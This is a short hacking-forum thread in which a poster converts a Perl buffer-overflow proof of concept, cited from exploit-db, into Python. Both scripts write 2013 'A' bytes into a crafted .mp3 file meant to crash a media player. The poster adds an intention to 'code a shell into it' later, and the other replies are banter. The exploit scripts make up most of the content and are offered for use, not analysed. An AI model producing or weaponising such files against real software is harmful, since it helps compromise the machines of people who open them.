Sinisterly

Full Version: Perl Buffer Overflow Exploit Converted to Python
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Code:
#!/usr/bin/perl

$bof = "A" x 2013;
$filename = "bof.mp3";
open (FILE,">$filename");
print FILE "$bof";
print "\ncreated!!!\n";
http://www.exploit-db.com/exploits/28561/

Code:
#!/usr/bin/python
buffer = "\x41" * 2013
textfile = open("overflow.mp3" , 'w')
textfile.write(buffer)
textfile.close()

I'll code a shell into it later.
ok that's really cool and all but perl > python
Well Im better at python so I will use it.
bumper uberflaps r l33test specially when we dunno wat is 4
(10-02-2013, 09:02 PM)Starfall Wrote: [ -> ]bumper uberflaps r l33test specially when we dunno wat is 4
I'll pretend I understand what I just read O_o.